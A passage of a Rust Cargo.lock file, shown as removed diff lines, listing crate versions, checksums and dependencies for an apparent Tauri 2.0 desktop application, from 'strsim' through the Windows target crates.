0.10.0", - "phf_shared 0.10.0", - "proc-macro2", - "quote", -] - -[[package]] -name = "strsim" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" - -[[package]] -name = "swift-rs" -version = "1.0.7" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4057c98e2e852d51fdcfca832aac7b571f6b351ad159f9eda5db1655f8d0c4d7" -dependencies = [ - "base64 0.21.7", - "serde", - "serde_json", -] - -[[package]] -name = "syn" -version = "1.0.109" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" -dependencies = [ - "proc-macro2", - "quote", - "unicode-ident", -] - -[[package]] -name = "syn" -version = "2.0.79" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "89132cd0bf050864e1d38dc3bbc07a0eb8e7530af26344d3d2bbbef83499f590" -dependencies = [ - "proc-macro2", - "quote", - "unicode-ident", -] - -[[package]] -name = "sync_wrapper" -version = "1.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a7065abeca94b6a8a577f9bd45aa0867a2238b74e8eb67cf10d492bc39351394" -dependencies = [ - "futures-core", -] - -[[package]] -name = "system-deps" -version = "6.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349" -dependencies = [ - "cfg-expr", - "heck 0.5.0", - "pkg-config", - "toml 0.8.2", - "version-compare", -] - -[[package]] -name = "tao" -version = "0.30.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a0dbbebe82d02044dfa481adca1550d6dd7bd16e086bc34fa0fbecceb5a63751" -dependencies = [ - "bitflags 2.6.0", - "cocoa", - "core-foundation", - "core-graphics", - "crossbeam-channel", - "dispatch", - "dlopen2", - "dpi", - "gdkwayland-sys", - "gdkx11-sys", - "gtk", - "instant", - "jni", - "lazy_static", - "libc", - "log", - "ndk", - "ndk-context", - "ndk-sys", - "objc", - "once_cell", - "parking_lot", - "raw-window-handle", - "scopeguard", - "tao-macros", - "unicode-segmentation", - "url", - "windows", - "windows-core 0.58.0", - "windows-version", - "x11-dl", -] - -[[package]] -name = "tao-macros" -version = "0.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4e16beb8b2ac17db28eab8bca40e62dbfbb34c0fcdc6d9826b11b7b5d047dfd" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "target-lexicon" -version = "0.12.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1" - -[[package]] -name = "tauri" -version = "2.0.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44438500b50708bfc1e6083844e135d1b516325aae58710dcd8fb67e050ae87c" -dependencies = [ - "anyhow", - "bytes", - "dirs", - "dunce", - "embed_plist", - "futures-util", - "getrandom 0.2.15", - "glob", - "gtk", - "heck 0.5.0", - "http", - "jni", - "libc", - "log", - "mime", - "muda", - "objc2", - "objc2-app-kit", - "objc2-foundation", - "percent-encoding", - "plist", - "raw-window-handle", - "reqwest", - "serde", - "serde_json", - "serde_repr", - "serialize-to-javascript", - "swift-rs", - "tauri-build", - "tauri-macros", - "tauri-runtime", - "tauri-runtime-wry", - "tauri-utils", - "thiserror", - "tokio", - "tray-icon", - "url", - "urlpattern", - "webkit2gtk", - "webview2-com", - "window-vibrancy", - "windows", -] - -[[package]] -name = "tauri-build" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "935f9b3c49b22b3e2e485a57f46d61cd1ae07b1cbb2ba87387a387caf2d8c4e7" -dependencies = [ - "anyhow", - "cargo_toml", - "dirs", - "glob", - "heck 0.5.0", - "json-patch", - "schemars", - "semver", - "serde", - "serde_json", - "tauri-utils", - "tauri-winres", - "toml 0.8.2", - "walkdir", -] - -[[package]] -name = "tauri-codegen" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "95d7443dd4f0b597704b6a14b964ee2ed16e99928d8e6292ae9825f09fbcd30e" -dependencies = [ - "base64 0.22.1", - "brotli", - "ico", - "json-patch", - "plist", - "png", - "proc-macro2", - "quote", - "semver", - "serde", - "serde_json", - "sha2", - "syn 2.0.79", - "tauri-utils", - "thiserror", - "time", - "url", - "uuid", - "walkdir", -] - -[[package]] -name = "tauri-macros" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4d2c0963ccfc3f5194415f2cce7acc975942a8797fbabfb0aa1ed6f59326ae7f" -dependencies = [ - "heck 0.5.0", - "proc-macro2", - "quote", - "syn 2.0.79", - "tauri-codegen", - "tauri-utils", -] - -[[package]] -name = "tauri-plugin" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b2e6660a409963e4d57b9bfab4addd141eeff41bd3a7fb14e13004a832cf7ef6" -dependencies = [ - "anyhow", - "glob", - "plist", - "schemars", - "serde", - "serde_json", - "tauri-utils", - "toml 0.8.2", - "walkdir", -] - -[[package]] -name = "tauri-plugin-shell" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "371fb9aca2823990a2d0db7970573be5fdf07881fcaa2b835b29631feb84aec1" -dependencies = [ - "encoding_rs", - "log", - "open", - "os_pipe", - "regex", - "schemars", - "serde", - "serde_json", - "shared_child", - "tauri", - "tauri-plugin", - "thiserror", - "tokio", -] - -[[package]] -name = "tauri-runtime" -version = "2.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c8f437293d6f5e5dce829250f4dbdce4e0b52905e297a6689cc2963eb53ac728" -dependencies = [ - "dpi", - "gtk", - "http", - "jni", - "raw-window-handle", - "serde", - "serde_json", - "tauri-utils", - "thiserror", - "url", - "windows", -] - -[[package]] -name = "tauri-runtime-wry" -version = "2.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1431602bcc71f2f840ad623915c9842ecc32999b867c4a787d975a17a9625cc6" -dependencies = [ - "gtk", - "http", - "jni", - "log", - "objc2", - "objc2-app-kit", - "objc2-foundation", - "percent-encoding", - "raw-window-handle", - "softbuffer", - "tao", - "tauri-runtime", - "tauri-utils", - "url", - "webkit2gtk", - "webview2-com", - "windows", - "wry", -] - -[[package]] -name = "tauri-utils" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c38b0230d6880cf6dd07b6d7dd7789a0869f98ac12146e0d18d1c1049215a045" -dependencies = [ - "brotli", - "cargo_metadata", - "ctor", - "dunce", - "glob", - "html5ever", - "infer", - "json-patch", - "kuchikiki", - "log", - "memchr", - "phf 0.11.2", - "proc-macro2", - "quote", - "regex", - "schemars", - "semver", - "serde", - "serde-untagged", - "serde_json", - "serde_with", - "swift-rs", - "thiserror", - "toml 0.8.2", - "url", - "urlpattern", - "uuid", - "walkdir", -] - -[[package]] -name = "tauri-winres" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5993dc129e544393574288923d1ec447c857f3f644187f4fbf7d9a875fbfc4fb" -dependencies = [ - "embed-resource", - "toml 0.7.8", -] - -[[package]] -name = "tendril" -version = "0.4.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" -dependencies = [ - "futf", - "mac", - "utf-8", -] - -[[package]] -name = "thin-slice" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" - -[[package]] -name = "thiserror" -version = "1.0.64" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d50af8abc119fb8bb6dbabcfa89656f46f84aa0ac7688088608076ad2b459a84" -dependencies = [ - "thiserror-impl", -] - -[[package]] -name = "thiserror-impl" -version = "1.0.64" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "08904e7672f5eb876eaaf87e0ce17857500934f4981c4a0ab2b4aa98baac7fc3" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "time" -version = "0.3.36" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5dfd88e563464686c916c7e46e623e520ddc6d79fa6641390f2e3fa86e83e885" -dependencies = [ - "deranged", - "itoa 1.0.11", - "num-conv", - "powerfmt", - "serde", - "time-core", - "time-macros", -] - -[[package]] -name = "time-core" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" - -[[package]] -name = "time-macros" -version = "0.2.18" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3f252a68540fde3a3877aeea552b832b40ab9a69e318efd078774a01ddee1ccf" -dependencies = [ - "num-conv", - "time-core", -] - -[[package]] -name = "tinyvec" -version = "1.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "445e881f4f6d382d5f27c034e25eb92edd7c784ceab92a0937db7f2e9471b938" -dependencies = [ - "tinyvec_macros", -] - -[[package]] -name = "tinyvec_macros" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" - -[[package]] -name = "tokio" -version = "1.40.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e2b070231665d27ad9ec9b8df639893f46727666c6767db40317fbe920a5d998" -dependencies = [ - "backtrace", - "bytes", - "libc", - "mio", - "pin-project-lite", - "socket2", - "windows-sys 0.52.0", -] - -[[package]] -name = "tokio-util" -version = "0.7.12" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "61e7c3654c13bcd040d4a03abee2c75b1d14a37b423cf5a813ceae1cc903ec6a" -dependencies = [ - "bytes", - "futures-core", - "futures-sink", - "pin-project-lite", - "tokio", -] - -[[package]] -name = "toml" -version = "0.7.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" -dependencies = [ - "serde", - "serde_spanned", - "toml_datetime", - "toml_edit 0.19.15", -] - -[[package]] -name = "toml" -version = "0.8.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "185d8ab0dfbb35cf1399a6344d8484209c088f75f8f68230da55d48d95d43e3d" -dependencies = [ - "serde", - "serde_spanned", - "toml_datetime", - "toml_edit 0.20.2", -] - -[[package]] -name = "toml_datetime" -version = "0.6.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cda73e2f1397b1262d6dfdcef8aafae14d1de7748d66822d3bfeeb6d03e5e4b" -dependencies = [ - "serde", -] - -[[package]] -name = "toml_edit" -version = "0.19.15" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" -dependencies = [ - "indexmap 2.6.0", - "serde", - "serde_spanned", - "toml_datetime", - "winnow", -] - -[[package]] -name = "toml_edit" -version = "0.20.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "396e4d48bbb2b7554c944bde63101b5ae446cff6ec4a24227428f15eb72ef338" -dependencies = [ - "indexmap 2.6.0", - "serde", - "serde_spanned", - "toml_datetime", - "winnow", -] - -[[package]] -name = "tower-service" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" - -[[package]] -name = "tracing" -version = "0.1.40" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" -dependencies = [ - "pin-project-lite", - "tracing-core", -] - -[[package]] -name = "tracing-core" -version = "0.1.32" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" -dependencies = [ - "once_cell", -] - -[[package]] -name = "tray-icon" -version = "0.19.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7c92af36a182b46206723bdf8a7942e20838cde1cf062e5b97854d57eb01763b" -dependencies = [ - "core-graphics", - "crossbeam-channel", - "dirs", - "libappindicator", - "muda", - "objc2", - "objc2-app-kit", - "objc2-foundation", - "once_cell", - "png", - "serde", - "thiserror", - "windows-sys 0.59.0", -] - -[[package]] -name = "try-lock" -version = "0.2.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" - -[[package]] -name = "typeid" -version = "1.0.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0e13db2e0ccd5e14a544e8a246ba2312cd25223f616442d7f2cb0e3db614236e" - -[[package]] -name = "typenum" -version = "1.17.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" - -[[package]] -name = "unic-char-property" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a8c57a407d9b6fa02b4795eb81c5b6652060a15a7903ea981f3d723e6c0be221" -dependencies = [ - "unic-char-range", -] - -[[package]] -name = "unic-char-range" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0398022d5f700414f6b899e10b8348231abf9173fa93144cbc1a43b9793c1fbc" - -[[package]] -name = "unic-common" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "80d7ff825a6a654ee85a63e80f92f054f904f21e7d12da4e22f9834a4aaa35bc" - -[[package]] -name = "unic-ucd-ident" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e230a37c0381caa9219d67cf063aa3a375ffed5bf541a452db16e744bdab6987" -dependencies = [ - "unic-char-property", - "unic-char-range", - "unic-ucd-version", -] - -[[package]] -name = "unic-ucd-version" -version = "0.9.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96bd2f2237fe450fcd0a1d2f5f4e91711124f7857ba2e964247776ebeeb7b0c4" -dependencies = [ - "unic-common", -] - -[[package]] -name = "unicode-bidi" -version = "0.3.17" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ab17db44d7388991a428b2ee655ce0c212e862eff1768a455c58f9aad6e7893" - -[[package]] -name = "unicode-ident" -version = "1.0.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" - -[[package]] -name = "unicode-normalization" -version = "0.1.24" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5033c97c4262335cded6d6fc3e5c18ab755e1a3dc96376350f3d8e9f009ad956" -dependencies = [ - "tinyvec", -] - -[[package]] -name = "unicode-segmentation" -version = "1.12.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6ccf251212114b54433ec949fd6a7841275f9ada20dddd2f29e9ceea4501493" - -[[package]] -name = "url" -version = "2.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "22784dbdf76fdde8af1aeda5622b546b422b6fc585325248a2bf9f5e41e94d6c" -dependencies = [ - "form_urlencoded", - "idna", - "percent-encoding", - "serde", -] - -[[package]] -name = "urlpattern" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "70acd30e3aa1450bc2eece896ce2ad0d178e9c079493819301573dae3c37ba6d" -dependencies = [ - "regex", - "serde", - "unic-ucd-ident", - "url", -] - -[[package]] -name = "utf-8" -version = "0.7.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" - -[[package]] -name = "uuid" -version = "1.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f8c5f0a0af699448548ad1a2fbf920fb4bee257eae39953ba95cb84891a0446a" -dependencies = [ - "getrandom 0.2.15", - "serde", -] - -[[package]] -name = "version-compare" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b" - -[[package]] -name = "version_check" -version = "0.9.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" - -[[package]] -name = "vswhom" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" -dependencies = [ - "libc", - "vswhom-sys", -] - -[[package]] -name = "vswhom-sys" -version = "0.1.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3b17ae1f6c8a2b28506cd96d412eebf83b4a0ff2cbefeeb952f2f9dfa44ba18" -dependencies = [ - "cc", - "libc", -] - -[[package]] -name = "walkdir" -version = "2.5.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" -dependencies = [ - "same-file", - "winapi-util", -] - -[[package]] -name = "want" -version = "0.3.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" -dependencies = [ - "try-lock", -] - -[[package]] -name = "wasi" -version = "0.9.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" - -[[package]] -name = "wasi" -version = "0.11.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" - -[[package]] -name = "wasm-bindgen" -version = "0.2.95" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "128d1e363af62632b8eb57219c8fd7877144af57558fb2ef0368d0087bddeb2e" -dependencies = [ - "cfg-if", - "once_cell", - "wasm-bindgen-macro", -] - -[[package]] -name = "wasm-bindgen-backend" -version = "0.2.95" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb6dd4d3ca0ddffd1dd1c9c04f94b868c37ff5fac97c30b97cff2d74fce3a358" -dependencies = [ - "bumpalo", - "log", - "once_cell", - "proc-macro2", - "quote", - "syn 2.0.79", - "wasm-bindgen-shared", -] - -[[package]] -name = "wasm-bindgen-futures" -version = "0.4.45" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc7ec4f8827a71586374db3e87abdb5a2bb3a15afed140221307c3ec06b1f63b" -dependencies = [ - "cfg-if", - "js-sys", - "wasm-bindgen", - "web-sys", -] - -[[package]] -name = "wasm-bindgen-macro" -version = "0.2.95" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e79384be7f8f5a9dd5d7167216f022090cf1f9ec128e6e6a482a2cb5c5422c56" -dependencies = [ - "quote", - "wasm-bindgen-macro-support", -] - -[[package]] -name = "wasm-bindgen-macro-support" -version = "0.2.95" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26c6ab57572f7a24a4985830b120de1594465e5d500f24afe89e16b4e833ef68" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", - "wasm-bindgen-backend", - "wasm-bindgen-shared", -] - -[[package]] -name = "wasm-bindgen-shared" -version = "0.2.95" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "65fc09f10666a9f147042251e0dda9c18f166ff7de300607007e96bdebc1068d" - -[[package]] -name = "wasm-streams" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4e072d4e72f700fb3443d8fe94a39315df013eef1104903cdb0a2abd322bbecd" -dependencies = [ - "futures-util", - "js-sys", - "wasm-bindgen", - "wasm-bindgen-futures", - "web-sys", -] - -[[package]] -name = "web-sys" -version = "0.3.72" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f6488b90108c040df0fe62fa815cbdee25124641df01814dd7282749234c6112" -dependencies = [ - "js-sys", - "wasm-bindgen", -] - -[[package]] -name = "webkit2gtk" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "76b1bc1e54c581da1e9f179d0b38512ba358fb1af2d634a1affe42e37172361a" -dependencies = [ - "bitflags 1.3.2", - "cairo-rs", - "gdk", - "gdk-sys", - "gio", - "gio-sys", - "glib", - "glib-sys", - "gobject-sys", - "gtk", - "gtk-sys", - "javascriptcore-rs", - "libc", - "once_cell", - "soup3", - "webkit2gtk-sys", -] - -[[package]] -name = "webkit2gtk-sys" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62daa38afc514d1f8f12b8693d30d5993ff77ced33ce30cd04deebc267a6d57c" -dependencies = [ - "bitflags 1.3.2", - "cairo-sys-rs", - "gdk-sys", - "gio-sys", - "glib-sys", - "gobject-sys", - "gtk-sys", - "javascriptcore-rs-sys", - "libc", - "pkg-config", - "soup3-sys", - "system-deps", -] - -[[package]] -name = "webview2-com" -version = "0.33.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f61ff3d9d0ee4efcb461b14eb3acfda2702d10dc329f339303fc3e57215ae2c" -dependencies = [ - "webview2-com-macros", - "webview2-com-sys", - "windows", - "windows-core 0.58.0", - "windows-implement", - "windows-interface", -] - -[[package]] -name = "webview2-com-macros" -version = "0.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d228f15bba3b9d56dde8bddbee66fa24545bd17b48d5128ccf4a8742b18e431" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "webview2-com-sys" -version = "0.33.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a3a3e2eeb58f82361c93f9777014668eb3d07e7d174ee4c819575a9208011886" -dependencies = [ - "thiserror", - "windows", - "windows-core 0.58.0", -] - -[[package]] -name = "winapi" -version = "0.3.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" -dependencies = [ - "winapi-i686-pc-windows-gnu", - "winapi-x86_64-pc-windows-gnu", -] - -[[package]] -name = "winapi-i686-pc-windows-gnu" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" - -[[package]] -name = "winapi-util" -version = "0.1.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" -dependencies = [ - "windows-sys 0.59.0", -] - -[[package]] -name = "winapi-x86_64-pc-windows-gnu" -version = "0.4.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" - -[[package]] -name = "window-vibrancy" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3ea403deff7b51fff19e261330f71608ff2cdef5721d72b64180bb95be7c4150" -dependencies = [ - "objc2", - "objc2-app-kit", - "objc2-foundation", - "raw-window-handle", - "windows-sys 0.59.0", - "windows-version", -] - -[[package]] -name = "windows" -version = "0.58.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" -dependencies = [ - "windows-core 0.58.0", - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-core" -version = "0.52.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" -dependencies = [ - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-core" -version = "0.58.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" -dependencies = [ - "windows-implement", - "windows-interface", - "windows-result", - "windows-strings", - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-implement" -version = "0.58.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "windows-interface" -version = "0.58.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.79", -] - -[[package]] -name = "windows-registry" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e400001bb720a623c1c69032f8e3e4cf09984deec740f007dd2b03ec864804b0" -dependencies = [ - "windows-result", - "windows-strings", - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-result" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" -dependencies = [ - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-strings" -version = "0.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" -dependencies = [ - "windows-result", - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", -] - -[[package]] -name = "windows-sys" -version = "0.48.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" -dependencies = [ - "windows-targets 0.48.5", -] - -[[package]] -name = "windows-sys" -version = "0.52.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" -dependencies = [ - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-sys" -version = "0.59.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" -dependencies = [ - "windows-targets 0.52.6", -] - -[[package]] -name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - -[[package]] -name = "windows-targets" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" -dependencies = [ - "windows_aarch64_gnullvm 0.48.5", - "windows_aarch64_msvc 0.48.5", - "windows_i686_gnu 0.48.5", - "windows_i686_msvc 0.48.5", - "windows_x86_64_gnu 0.48.5", - "windows_x86_64_gnullvm 0.48.5", - "windows_x86_64_msvc 0.48.5", -] - -[[package]] -name = "windows-targets" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" -dependencies = [ - "windows_aarch64_gnullvm 0.52.6", - "windows_aarch64_msvc 0.52.6", - "windows_i686_gnu 0.52.6", - "windows_i686_gnullvm", - "windows_i686_msvc 0.52.6", - "windows_x86_64_gnu 0.52.6", - "windows_x86_64_gnullvm 0.52.6", - "windows_x86_64_msvc 0.52.6", -] - -[[package]] -name = "windows-version" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6998aa457c9ba8ff2fb9f13e9d2a930dabcea28f1d0ab94d687d8b3654844515" -dependencies = [ - "windows-targets 0.52.6", -] - -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" - -[[package]] -name = "windows_aarch64_gnullvm" -version = "0.52.6" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" - -[[package]] -name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - -[[package]] -name = "windows_aarch64_msvc" -version = "0.48.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" - -[[package]] -name = 